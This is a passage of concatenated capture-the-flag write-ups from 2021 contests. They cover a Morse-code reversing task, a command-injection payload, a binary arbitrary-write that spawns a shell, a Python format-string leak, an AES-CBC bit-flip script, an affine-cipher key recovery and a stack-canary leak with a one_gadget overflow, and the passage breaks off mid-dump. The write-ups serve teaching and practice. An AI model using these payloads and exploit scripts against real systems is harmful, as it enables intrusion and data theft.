len(word) if len_word == len(correct): #print('+ '+correct) errors = sum([ mispelled_c != correct_c for mispelled_c,correct_c in zip(word,correct) ]) if errors == 0: match = 0 break elif errors == 1: potential = correct match += 1 if match > 1: break if match == 1: for mispelled_c,correct_c in zip(word,potential): if mispelled_c != correct_c: print(mispelled_c,end='')``` ```$ python solve.pyictfyoupassedthespellingtest``` flag : `ictf{youpassedthespellingtest}`
Simple reverse engineering challenge for 100 points, full writeup: [https://ctf.rip/write-ups/crypto/rsa/reversing/rarctf-2021/#verybabyrev](https://ctf.rip/write-ups/crypto/rsa/reversing/rarctf-2021/#verybabyrev)
# DOTTY```My new program will keep your secrets safe using military grade encryption!``` - File : [Dotty.exe](https://github.com/Pynard/writeups/blob/main/2021/RARCTF/attachements/dotty/Dotty.exe) When we run it we can translate chars to morse code :```Please enter your secret to encode: ABC.-|-...|-.-.``` Here :```A -> .-B -> -...C -> -.-.etc...``` By looking at strings in the binary we easily spot the flag :```$ strings -e l Dotty.exe[...]-|....|.|/|..-.|.-..|.-|--.|/|..|...|/|---|.---|--.-|-..-|.|-.--|...--|..-|--|--..|.....|.--|..|--|.-..|.|.-..|.....|....-|-|.-|.....|-.-|--...|---|.-|--..|-|--.|..---|..---|--...|--.|-...|--..|..-.|-....|-.|.-..|--.-|.--.|.|--...|-|-....|.--.|--..|--...|.-..|.....|-|--.|-.-.|-.|-..|-...|--|--|...--|-..|.-|-.|.-..|.....|/|-...|.-|...|.|...--|..---[...]``` The morse code gives us :```THE FLAG IS OJQXEY3UMZ5WIMLEL54TA5K7OAZTG227GBZF6NLQPE7T6PZ7L5TGCNDBMM3DANL5 BASE32``` and **OJQXEY3UMZ5WIMLEL54TA5K7OAZTG227GBZF6NLQPE7T6PZ7L5TGCNDBMM3DANL5** from base32 gives us : ```rarctf{d1d_y0u_p33k_0r_5py????_fa4ac605}``` flag : `rarctf{d1d_y0u_p33k_0r_5py????_fa4ac605}`
- we can command injection app.py line:24 > os.system(f"python3 generate.py {filename} \"{text}\"") - we can input command in {text} ### input > test $(cp ../flag.txt static/images/test.txt) ### access> http://193.57.159.27:51768/static/images/test.txt> > you can get flag here
**Full write-up:** https://www.sebven.com/ctf/2021/08/05/UIUCTF2021-Constructive-Criticism.html Misc – 408 pts (14 solves) – Chall author: Pranav Goel Some lo-fi bops on Soundcloud seem to be hiding something. There are cuts in the song where the emphasis jumps from one stereo-channel to the other. Turns out the separate channels in the WAV files are not exactly the same. At some parts they align, and at others they are slightly different. Visualising this difference reveals a bit-like structure which we decode in order to obtain the flag! A unique challenge for sure!
# ARCHER```It's battle time! We're giving you one shot, one kill - choose wisely.``` - File : [archer](https://github.com/Pynard/writeups/blob/main/2021/RARCTF/attachements/archer/archer) The binary ask us to send an arrow to win a battle,\the goal is to spawn a shell by not verifying this conditional jump @0x0040123b```│ 0x0040122e 488b05332e00. mov rax, qword [obj.code] ; [0x404068:8]=0x13371337 ; "7\x137\x13"│ 0x00401235 483d37133713 cmp rax, 0x13371337│ ┌─< 0x0040123b 750a jne 0x401247│ │ 0x0040123d bf00000000 mov edi, 0│ │ 0x00401242 e849feffff call sym.imp.exit│ │ ; CODE XREF from main @ 0x40123b│ └─> 0x00401247 488d3d6b0e00. lea rdi, str.WE_WON_ ; 0x4020b9 ; "WE WON!"│ 0x0040124e e8ddfdffff call sym.imp.puts│ 0x00401253 488b05162e00. mov rax, qword [obj.stdout] ; obj.__TMC_END__│ ; [0x404070:8]=0│ 0x0040125a 4889c7 mov rdi, rax│ 0x0040125d e80efeffff call sym.imp.fflush│ 0x00401262 488d3d580e00. lea rdi, str._bin_sh ; 0x4020c1 ; "/bin/sh"│ 0x00401269 e8d2fdffff call sym.imp.system│ 0x0040126e b800000000 mov eax, 0│ 0x00401273 c9 leave└ 0x00401274 c3 ret``` before that it asks us to give him a target, here a memory address :```┌ 111: sym.makeshot ();│ ; var int64_t var_8h @ rbp-0x8│ 0x00401275 55 push rbp│ 0x00401276 4889e5 mov rbp, rsp│ 0x00401279 4883ec10 sub rsp, 0x10│ 0x0040127d 488d3d450e00. lea rdi, str.Heres_your_arrow_ ; 0x4020c9 ; "Here's your arrow!"│ 0x00401284 e8a7fdffff call sym.imp.puts│ 0x00401289 488d3d500e00. lea rdi, str.Now__which_soldier_do_you_wish_to_shoot_ ; 0x4020e0 ; "Now, which soldier do you wish to shoot?"│ 0x00401290 e89bfdffff call sym.imp.puts│ 0x00401295 488b05d42d00. mov rax, qword [obj.stdout] ; obj.__TMC_END__│ ; [0x404070:8]=0│ 0x0040129c 4889c7 mov rdi, rax│ 0x0040129f e8ccfdffff call sym.imp.fflush│ 0x004012a4 488d45f8 lea rax, [var_8h]│ 0x004012a8 4889c6 mov rsi, rax│ 0x004012ab 488d3d570e00. lea rdi, [0x00402109] ; "%p"│ 0x004012b2 b800000000 mov eax, 0│ 0x004012b7 e8c4fdffff call sym.imp.__isoc99_scanf│ 0x004012bc 488b45f8 mov rax, qword [var_8h]│ 0x004012c0 480500005000 add rax, 0x500000│ 0x004012c6 488945f8 mov qword [var_8h], rax│ 0x004012ca 488b45f8 mov rax, qword [var_8h]│ 0x004012ce 48c700000000. mov qword [rax], 0│ 0x004012d5 488d3d300e00. lea rdi, str.Shot_ ; 0x40210c ; "Shot!"│ 0x004012dc e84ffdffff call sym.imp.puts│ 0x004012e1 90 nop│ 0x004012e2 c9 leave└ 0x004012e3 c3 ret``` In this function a null byte is placed at the address +0x500000 you type via scanf\The solution is to give the memory address of 0x13371337 @0x404068 minus 0x500000```$ ( echo yes ; python -c "print(hex(0x404068-0x500000))" ; cat ) | ncat 193.57.159.27 43092It's battle day archer! Have you got what it takes?Answer [yes/no]: Awesome! Make your shot.Here's your arrow!Now, which soldier do you wish to shoot?Shot!Hope you shot well! This will decide the battle.WE WON!lsarcherflag_0a52f21b1a.txtcat flag_0a52f21b1a.txtrarctf{sw33t_sh0t!_1nt3g3r_0v3rfl0w_r0cks!_170b2820c9}``` flag : `rarctf{sw33t_sh0t!_1nt3g3r_0v3rfl0w_r0cks!_170b2820c9}`
# FORMATTING```DescriptionWait, I thought format strings were only in C??? Attachmentshttps://imaginaryctf.org/r/14BD-stonks.py nc chal.imaginaryctf.org 42014``` - Fichier : [stonks.py](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/formatting/stonks.py)```python#!/usr/bin/env python3 art = ''' 88 ,d 88 88 88,adPPYba, MM88MMM ,adPPYba, 8b,dPPYba, 88 ,d8 ,adPPYba,I8[ "" 88 a8" "8a 88P' `"8a 88 ,a8" I8[ "" `"Y8ba, 88 8b d8 88 88 8888[ `"Y8ba,aa ]8I 88, "8a, ,a8" 88 88 88`"Yba, aa ]8I`"YbbdP"' "Y888 `"YbbdP"' 88 88 88 `Y8a `"YbbdP"'''' flag = open("flag.txt").read() class stonkgenerator: # I heard object oriented programming is popular def __init__(self): pass def __str__(self): return "stonks" def main(): print(art) print("Welcome to Stonks as a Service!") print("Enter any input, and we'll say it back to you with any '{a}' replaced with 'stonks'! Try it out!") while True: inp = input("> ") print(inp.format(a=stonkgenerator())) if __name__ == "__main__": main()``` Here we have to abuse **format** function to leak the **flag** variable. We will use this [format string vulnerability](https://python-forum.io/thread-11421.html) Payload :```{a.__init__.__globals__[flag]}``` ```$ ncat chal.imaginaryctf.org 42014 88 ,d 88 88 88,adPPYba, MM88MMM ,adPPYba, 8b,dPPYba, 88 ,d8 ,adPPYba,I8[ "" 88 a8" "8a 88P' `"8a 88 ,a8" I8[ "" `"Y8ba, 88 8b d8 88 88 8888[ `"Y8ba,aa ]8I 88, "8a, ,a8" 88 88 88`"Yba, aa ]8I`"YbbdP"' "Y888 `"YbbdP"' 88 88 88 `Y8a `"YbbdP"' Welcome to Stonks as a Service!Enter any input, and we'll say it back to you with any '{a}' replaced with 'stonks'! Try it out!> {a.__init__.__globals__[flag]}ictf{c4r3rul_w1th_f0rmat_str1ngs_4a2bd219}``` flag : `ictf{c4r3rul_w1th_f0rmat_str1ngs_4a2bd219}`
# FLIP_FLOP```DescriptionYesterday, Roo bought some new flip flops. Let's see how good at flopping you are. Attachmentshttps://imaginaryctf.org/r/7B4E-flop.py nc chal.imaginaryctf.org 42011``` - File : [flop.py](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/flip_flop/flop.py)```python#!/usr/local/bin/pythonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadimport binasciiimport os print(''' ,,~~~~~~,,.. ...., ,'~ | \ V / \ / / ;####> @@@@@ ) ##;, @@@@@@@ ) .##/ ~> @@@@@ . . ###''#> ' ' .:::::::. ..###/ #> ' ' //////))))----~~ ## #} ' ' ///////)))))) ' ' ///////)))))))\ ' ' //////))))))))))) ' |////)))))))))))))____________________________________).||||||||||||||||||||||||||||||||||||||||||||||||||||||||| (yeah they're not flip flops but close enough) ''') key = os.urandom(16)iv = os.urandom(16)flag = open("flag.txt").read().strip() for _ in range(3): print("Send me a string that when decrypted contains 'gimmeflag'.") print("1. Encrypt") print("2. Check") choice = input("> ") if choice == "1": cipher = AES.new(key, AES.MODE_CBC, iv) pt = binascii.unhexlify(input("Enter your plaintext (in hex): ")) if b"gimmeflag" in pt: print("I'm not making it *that* easy for you :kekw:") else: print(binascii.hexlify(cipher.encrypt(pad(pt, 16))).decode()) else: cipher = AES.new(key, AES.MODE_CBC, iv) ct = binascii.unhexlify(input("Enter ciphertext (in hex): ")) assert len(ct) % 16 == 0 if b"gimmeflag" in cipher.decrypt(ct): print(flag) else: print("Bad") print("Out of operations!")``` A key and an IV is picked at random for an AES CBC encryption algorithm. You can encrypt a chosen text and get the cypher. In order to get the flag you need to enter a cipher that when decrypted contains 'gimmeflag'. Obviously you can't encrypt 'gimmeflag' directly.... Here we will perform a **bitflip attack** (as suggested by the name of the challenge) ## Steps- The first step is to encrypt a string containing 'gimmeflag' but with a difference of one bit- Flip the bit- And decrypt the flipped cipher to obtain 'gimmeflag'The AES CBC decryption works with 16 bytes blocks likewise : ![902px-CBC_decryption.png](https://raw.githubusercontent.com/Pynard/writeups/main/2021/IMAGINARYCTF/attachements/flip_flop/902px-CBC_decryption.png "902px-CBC_decryption.png")So we ask the script to encrypt this string :```[ A A A A A A A A A A A A A A A A ] [ f i m m e f l a g ]``` Because **f (110 0110)** and **g (110 0111)** are one bit off in ascii We then flip the first bit of the first character in the first block of the cipher. And we ask the script to decrypt it to obtain the flag ! Here is the script : - File : [solve.py](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/flip_flop/solve.py)```pythonfrom pwn import * p = remote('chal.imaginaryctf.org', 42011) p.recvuntil('Check\n').decode()p.recvuntil('> ').decode()p.send(b'1\n')p.recvuntil(': ').decode() log.info("Sending 'fimmeflag'")p.send(b'0'*32+binascii.hexlify(b'fimmeflag')+b'\n') log.info("Flipping 1st byte in cipher")cipher = binascii.unhexlify(p.recvuntil('\n')[:-1])cipher = (cipher[0]^0b1).to_bytes(1,'little')+cipher[1:]cipher = binascii.hexlify(cipher) p.recvuntil('> ').decode()p.send(b'2\n')p.recvuntil(': ').decode() log.info("Sending flipped cipher")p.send(cipher+b'\n')flag = p.recvuntil('\n').decode()log.success('Flag = '+flag)``` ```$ python solve.py[+] Opening connection to chal.imaginaryctf.org on port 42011: Done[*] Sending 'fimmeflag'[*] Flipping 1st byte in cipher[*] Sending flipped cipher[+] Flag = ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}``` flag : `ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}`
# The Challenge We are given an implementation of a cipher they call `A3S`, and a `help.pdf` briefly explaining `A3S`. We are also given a single plaintext-ciphertext pair (`sus.` --> `b'\x06\x0f"\x02\x8e\xd1'`), and the encrypted flag. `A3S` turns out to be a modified version of `AES`, but instead of working on bits, it works on _trits_ (base 3). This gives an idea of how one might approach this problem. The files are in the [./chal](./chal) folder. ## Metadata I participated in RARCTF with CTF.SG. Unfortunately I wasn't able to solve this challenge in time before the CTF ended, as I started this challenge with only a few hours left. Nevertheless, I loved this challenge too much to simply let it go so here we are. ## Vulnerability ```python# Encryption routinedef a3s(msg, key): m = byt_to_int(msg) k = byt_to_int(key) m = up(int_to_tyt(m), W_SIZE ** 2, int_to_tyt(0)[0])[-1] # Fixed block size k = int_to_tyt(k) keys = expand(k) # tryte array assert len(keys) == KEYLEN ctt = T_xor(m, keys[0]) for r in range(1, len(keys) - 1): ctt = sub_wrd(ctt) # SUB... ctt = tuple([ctt[i] for i in SHIFT_ROWS]) # SHIFT... ctt = mix_columns(ctt) # MIX... ctt = T_xor(ctt, keys[r]) # ADD! ctt = sub_wrd(ctt) ctt = tuple([ctt[i] for i in SHIFT_ROWS]) ctt = T_xor(ctt, keys[-1]) # last key ctt = tyt_to_int(ctt) return int_to_byt(ctt)``` Take a look at the encryption routine above. In `A3S.py` we see that it encrypts with **26** rounds of A3S. This immediately rules out common attacks like MITM or finding a differntial as the number of rounds you have to cut through is just insane. That's probably a cue to look at the `SBOX`. A cursory test shows that `SBOX[a] + SBOX[b] == SBOX[a+b]`: ```pythonsub_map = {} # x --> y, (xor(i1, i2) --> xor(o1,o2)) for a in range(3**3): for b in range(3**3): sa = SBOX[a] sb = SBOX[b] o = tuple(xor(x,y) for x,y in zip(int_to_tyt(sa)[0],int_to_tyt(sb)[0])) i = tuple(xor(x,y) for x,y in zip(int_to_tyt(a)[0],int_to_tyt(b)[0])) if i not in sub_map: sub_map[i] = set() sub_map[i].add(o) print([len(i) for i in sub_map.values()])# > [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]``` This means that `SBOX` is simply an affine transform! It's not that hard to then derive the exact transformation: ```pythondef sbox_affine(i:tuple): "Substitutes a trit with SBOX" return ( (0 + i[0]*1 + i[1]*2 + i[2]*1) % 3, (2 + i[0]*0 + i[1]*1 + i[2]*2) % 3, (0 + i[0]*2 + i[1]*1 + i[2]*0) % 3 )``` This is significant as the other operations in `A3S`, namely `shift`, `mix` and `add`, are all linear operations. Normally, in `AES`, `SBOX` is an important factor providing non-linearity to `AES`. Having `SBOX` be an affine transform means that the **whole encryption is an affine transform of the plaintext**, which is really easy to analyse algebraically. ## But It's Worse Let's look at the key schedule: ```pythondef expand(tyt): words = tyt_to_wrd(tyt) size = len(words) rnum = size + 3 rcons = rcon(rnum * 3 // size) for i in range(size, rnum * 3): k = words[i - size] l = words[i - 1] if i % size == 0: s = sub_wrd(rot_wrd(l)) k = T_xor(k, s) k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:] else: k = T_xor(k, l) words = words + (k,) return up(down(words[:rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0])``` This routine is used to expand a key into all the 28 round keys that are used in `a3s`. Just like in regular AES, the `sub_wrd` routine which uses the `SBOX`, would have made the key expansion non-linear and relatively harder to analyse. But as we have seen earlier, `SBOX` is affine! That means that the **key expansion is an affine transformation of the original key** as well! What these both mean is that, from what we are given: `a3s(b"sus.") == b'\x06\x0f"\x02\x8e\xd1'`, we can represent `b'\x06\x0f"\x02\x8e\xd1'` as an affine transform of the original key, which, theoretically, makes solving for the original key very very easy. ## Representing the problem The key is made of `75*3` trits, and so I create `75*3` variables in `GF(3)`: ```pythonF = GF(3)FP = PolynomialRing(F, 'k', 25*3*3)keyFP = FP.gens()``` Now we _can_ reimplement `a3s` in our solve script, but I chose instead to simply use the `a3s.py` implementation the challenge author has so graciously provided us. I just have to modify certain functions to make it sage and `GF(3)` friendly. These are the functions I modified: ```pythont_xor = lambda a,b: tuple(x+y for x,y in zip(a,b))T_xor = lambda a,b: tuple(t_xor(i,j) for i,j in zip(a,b))t_uxor = lambda a,b: tuple(x-y for x,y in zip(a,b))T_uxor = lambda a,b: tuple(t_uxor(i,j) for i,j in zip(a,b)) def sbox_affine(i:tuple): return ( (0 + i[0]*1 + i[1]*2 + i[2]*1), (2 + i[0]*0 + i[1]*1 + i[2]*2), (0 + i[0]*2 + i[1]*1 + i[2]*0) ) def expand(tyt): words = tyt_to_wrd(tyt) size = len(words) rnum = size + 3 rcons = rcon(rnum * 3 // size) for i in range(size, rnum * 3): k = words[i - size] l = words[i - 1] if i % size == 0: s = tuple(sbox_affine(i) for i in rot_wrd(l)) k = T_xor(k, s) k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:] else: k = T_xor(k, l) words = words + (k,) return up(down(words[:rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0]) def tri_mulmod(A, B, mod=POLY): c = [0] * (len(mod) - 1) for a in A[::-1]: c = [0] + c x = tuple(b * a for b in B) c[:len(x)] = t_xor(c, x) n = -c[-1]*mod[-1] c[:] = [x+y*n for x,y in zip(c,mod)] c.pop() return tuple(c) def tyt_mulmod(A, B, mod=POLY2, mod2=POLY): fil = [(0,) * T_SIZE] C = fil * (len(mod) - 1) for a in A[::-1]: C = fil + C x = tuple(tri_mulmod(b, a, mod2) for b in B) C[:len(x)] = T_xor(C, x) num = modinv(mod[-1], mod2) num2 = tri_mulmod(num, C[-1], mod2) x = tuple(tri_mulmod(m, num2, mod2) for m in mod) C[:len(x)] = T_uxor(C, x) C.pop() return C def add(a,b): return tuple( tuple(x+y for x,y in zip(i,j)) for i,j in zip(a,b) ) def sub(a): return tuple( sbox_affine(x) for x in a ) def shift(a): return [ a[i] for i in SHIFT_ROWS ] def mix(tyt): tyt = list(tyt) for i in range(W_SIZE): tyt[i::W_SIZE] = tyt_mulmod(tyt[i::W_SIZE], CONS) return tuple(tyt)``` Now we can simply expand the key and encrypt `sus.` symbolically: ```python # Expand the keyxkeyFP = tuple(tuple(keyFP[i*3+j] for j in range(3)) for i in range(25*3))exkeyFP = expand(exkeyFP) # Perform encryption of `sus.` with symbolised key m = byt_to_int(b'sus.')m = up(int_to_tyt(m), W_SIZE ** 2, int_to_tyt(0)[0])[-1] assert len(exkeyFP) == KEYLEN ctt = add(m, exkeyFP[0]) for r in range(1, len(exkeyFP) - 1): ctt = sub(ctt) ctt = shift(ctt) ctt = mix(ctt) ctt = add(ctt, exkeyFP[r]) ctt = sub(ctt)ctt = shift(ctt)ctt = add(ctt, exkeyFP[-1])``` What's left is to form the system of linear equations and solve: ```pythonmat = []const = []for x in ctt: for y in x: s = vector([0]*75*3) c = 0 for i,j in y.dict().items(): if sum(i) == 0: c += j s += vector(i)*j const.append(c) mat.append(s)mat = Matrix(F, mat) rhs = int_to_tyt(byt_to_int(b'\x06\x0f"\x02\x8e\xd1'))rhs = vector(F, [i for j in rhs for i in j])rhs -= vector(F, const) key_rec = mat.solve_right(rhs)key_rec = tuple(tuple(key_rec[3*i+j] for j in range(3)) for i in range(75)) print(key_rec)# ((2, 1, 1), (1, 1, 1), (1, 1, 2), # (1, 0, 0), (2, 2, 0), (2, 2, 1), # (0, 1, 2), (2, 1, 2), (0, 2, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0), # (0, 0, 0), (0, 0, 0), (0, 0, 0))``` You might notice that while we have `3*75` variables, we only have `3*9` equations. This means that there are many many many keys that give the same plaintext and ciphertext pair, and this method can solve for all of them. Eitherways, now that we have the key, we can finally decrypt our flag: ```python# Modify d_a3s to use key in tyt formdef d_a3s(ctt, key): c = byt_to_int(ctt) c = up(int_to_tyt(c), W_SIZE ** 2, int_to_tyt(0)[0])[-1] # Fixed block size keys = expand(key)[::-1] # tryte array assert len(keys) == KEYLEN msg = c msg = T_uxor(msg, keys[0]) for r in range(1, len(keys) - 1): msg = tuple([msg[i] for i in UN_SHIFT_ROWS]) # UN SHIFT... msg = u_sub_wrd(msg) # UN SUB... msg = T_uxor(msg, keys[r]) # UN ADD... msg = mix_columns(msg, I_CONS) # UN MIX! msg = tuple([msg[i] for i in UN_SHIFT_ROWS]) msg = u_sub_wrd(msg) msg = T_uxor(msg, keys[-1]) # last key msg = tyt_to_int(msg) return int_to_byt(msg) flag_enc = b'\x01\x00\xc9\xe9m=\r\x07x\x04\xab\xd3]\xd3\xcd\x1a\x8e\xaa\x87;<\xf1[\xb8\xe0%\xec\xdb*D\xeb\x10\t\xa0\xb9.\x1az\xf0%\xdc\x16z\x12$0\x17\x8d1' out = []for i in chunk(flag_enc): out.append(d_a3s(i, key_rec)) print("Flag:", unchunk(out).decode()) # Flag: rarctf{wh3n_sb0x_1s_4_5u55y_baka_02bdeff124}``` Full solve scripts can be found in the [./sol](./sol) folder.
The link to the original writeup is [here](https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/RaRCTF/Guessing_Game), please check it out there to see the downloadables from the challenge and my solves as standalone python scripts. # The Guessing Game The description for this challenge was as follows: *The number one complaint I've had about recent CTFs is that there's not enough guessing. Time for that to change!* This challenge was worth 300 points, and was rated at medium difficulty. By the end of the CTF, it had a total of 43 solves. **TL;DR Solution:** Use the high-low game to leak relevant bytes from various stack offsets. By avoiding hitting offsets directly, you can leak the canary and a libc address in one run of the program, and use them to craft a functional overflow that ends in a working onegadget. ## Gathering Information When we connect to the remote instance, we are asked to pick a number to guess (between 1 and 7) and then guess the number. In response, we get either "Too low" or "Too high"```knittingirl@piglet:~/CTF/RaRCTF/boring_flag_runner$ nc 193.57.159.27 55206 Which number are you guessing (0-7)? 5Enter your guess: 6Ouch, too low! Which number are you guessing (0-7)? 3Enter your guess: 7Ouch, too low! Which number are you guessing (0-7)? ```The main function in Ghidra shows a lot more information.The numbers that we are supposed to guess are based on a byte array stored on the stack. There is no bounds check on the indexes we enter, so we can attempt to guess any byte value on the stack, which obviously seems like a good potential source of address leaks. After correctly guessing 8 bytes, we are then allowed to input a string with read. Based on the location of the stack variable bein filled here, it can give us an overflow of up to 10 bytes. There is also a canary that will need to be taken care.```undefined8 main(EVP_PKEY_CTX *param_1) { int iVar1; long in_FS_OFFSET; byte guessed_num; int my_index; int i; uint j; byte stack_array [8]; undefined local_28 [24]; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); /* sets a time-based seed for rand, should be hackable. */ init(param_1); i = 0; j = 0; while (j < 8) { iVar1 = rand(); stack_array[(int)j] = (char)iVar1 + (char)(iVar1 / 0xff); j = j + 1; } while (i < 8) { printf("\nWhich number are you guessing (0-7)? "); /* There's no verification on this */ __isoc99_scanf("%u",&my_index); printf("Enter your guess: "); /* Is the idea that I can eventually guess the canary, possibly other leaks as well? */ __isoc99_scanf(" %hhu",&guessed_num); if (guessed_num < stack_array[my_index]) { puts("Ouch, too low!"); } else { if (stack_array[my_index] < guessed_num) { puts("Too high!"); } else { i = i + 1; puts("You got it!"); } } } getchar(); printf("So, what did you think of my game? "); /* obvious overflow */ read(0,local_28,0x32); if (canary == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail();} ```Finally, the binary does have a fairly significant range of protections. As the Ghidra showed, there is a canary. In addition, PIE and NX are enabled; the PIE in particular immediately flags as possibly problematic in a ROP-based attack.```knittingirl@piglet:~/CTF/RaRCTF/guessing$ checksec guess[*] '/home/knittingirl/CTF/RaRCTF/guessing/guess' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` ## Writing the Exploit Obviously, one of the first things that I clearly needed to do with this information was to use the high-low game to leak the canary. To do this somewhat efficiently, I ended up using a form of a binary-search algorithm to narrow in a correct answer based on responses. Now, because of the PIE, even if I have correctly acquired the canary, without an additional leak of either a PIE or libc address, I have nowhere to jump to when forming a (short) ROPchain. I was actually stuck on this one for a bit; there were PIE and libc addresses in the stack to leak, but the loop terminates once you have correctly guessed 8 bytes. The canary always ends in '\x00', so that would take 7 guesses, then the libc address should always start with '\x7f', end with a consistent byte, and have another byte with a known nibble, leaving approximately 3 1/2 unknown bytes. After using our remaining guess, that's 2 1/2 unknown bytes; while theoretically possible to bruteforce, it seems unlikely. At this point, I realized that I actually could be certain of a bytes value without technically hitting it. By default, my binary search algorithm never hit odd numbers until the very end of a search, on the eigthth guess, at which point I could derive the correct answer anyway without burning a guess. So I modified my algorithm, and now, the odds were reasonably high that I could leak two addresses in one run through the program! Here is the code to leak the canary alone. Please note that I know that this is an unusual implementation of a binary search algorithm. This was the best way I could come up with to avoid hitting odd numbers and burning guesses, so while this code is long and ugly, it does work quite reliably:```count = 0 i = 1depth = 0addition = 0canary = 0while True: print(target.recvuntil(b'(0-7)?')) target.sendline(str(0x20 + i).encode('ascii')) print(target.recvuntil(b'guess:')) my_guess = 0x100 // 2 + addition print(hex(my_guess)) target.sendline(str(my_guess).encode('ascii')) result = target.recvuntil(b'Which') depth += 1 if b'low' in result: if depth == 7: my_guess += 1 canary += (0x10 ** (2 * i)) * my_guess print(hex(canary)) i += 1 depth = 0 addition = 0 else: addition += 0x100 // (2 ** (depth + 1)) elif b'high' in result: if depth == 7: my_guess -= 1 canary += (0x10 ** (2 * i)) * my_guess print(hex(canary)) i += 1 depth = 0 addition = 0 else: addition += -1 * (0x100 // (2 ** (depth + 1))) else: canary += (0x10 ** ( 2 * i)) * my_guess print(hex(canary)) i += 1 depth = 0 addition = 0 count += 1 if i == 8: break ```Next, I had to decide exactly how to deal with my very limited space in which to create a ROPchain. If desired, I could leak the canary and a PIE value first, loop back to start, then leak libc and a stack address for good measure in the second round. For a while, I was very convinced that a stack pivot was the answer; the 10 bytes of overwrite seemed to be pointing in the that direction, plus I originally started debugging on my Kali machine, which places a libc address in rbp+0x8, and a stack address in rbp+0x10. If you have leaks for PIE and the stack, you can overwrite rbp+0x8 to a pop rsp gadget, modify the low two bytes of rbp+0x10 to point to the start of the stack address you filled, and jump to a ROP chain. Alas, this was not to be on the actual system; an inspection of the Dockerfile revealed that the challenge uses Ubuntu 20.04, and debugging on that machine shows libc addresses in both rbp+0x8 and rbp+0x10.```gef➤ x/gx $rbp+0x80x7ffebe24e448: 0x00007fb1245f30b3gef➤ x/gx $rbp+0x100x7ffebe24e450: 0x00007fb1247fc620```So, instead, I turned to the idea of using a onegadget; this is an address in libc that will perform execve("/bin/sh") and produce a shell if certain conditions are met. ```knittingirl@piglet:~/CTF/RaRCTF/guessing$ one_gadget libc6_2.31-0ubuntu9.2_amd64.so 0xe6e73 execve("/bin/sh", r10, r12)constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL 0xe6e76 execve("/bin/sh", r10, rdx)constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0xe6e79 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL```When we get to the end of main in GDB and check register contents, we can see that rdx is set to 0 by default. In addition, we can control the contents of rsi; since one of the last functions is a read call, and this places user-inputted data into the second parameter, we simply need to make sure that at least the first 8 characters of our user inputs are nulls. ``` read(0,local_28,0x32);```I came accross a final hurdle as I was running the exploit in GDB. During the course of the onegadget's execution, a value is moved into QWORD PTR [rbp-0x78]. This means that value of rbp-0x78 must be mapped, writable memory. Since I am overwriting rbp by necessity, I need to ensure that the value here meets my needs. ```→ 0x55e9a7f423a8 <main+395> ret ↳ 0x7ff892f41e79 <execvpe+1145> lea rdi, [rip+0xd072a] # 0x7ff8930125aa 0x7ff892f41e80 <execvpe+1152> mov QWORD PTR [rbp-0x78], r11 0x7ff892f41e84 <execvpe+1156> call 0x7ff892f412f0 <execve>```So far, I have only needed to leak libc and a canary, so it makes the most sense to set rbp to a writable section of libc. I ended up picking a spot somewhat at random within the writable section and running with it; vmmap within GDB-GEF is probably the easiest way to find writable sections, and an exerpt is provided below.```gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x000055e9a7f41000 0x000055e9a7f42000 0x0000000000000000 r-- /home/ubuntu/Downloads/guess0x000055e9a7f42000 0x000055e9a7f43000 0x0000000000001000 r-x /home/ubuntu/Downloads/guess0x000055e9a7f43000 0x000055e9a7f44000 0x0000000000002000 r-- /home/ubuntu/Downloads/guess0x000055e9a7f44000 0x000055e9a7f45000 0x0000000000002000 r-- /home/ubuntu/Downloads/guess0x000055e9a7f45000 0x000055e9a7f46000 0x0000000000003000 rw- /home/ubuntu/Downloads/guess0x00007ff892e5b000 0x00007ff892e80000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ff892e80000 0x00007ff892ff8000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ff892ff8000 0x00007ff893042000 0x000000000019d000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ff893042000 0x00007ff893043000 0x00000000001e7000 --- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ff893043000 0x00007ff893046000 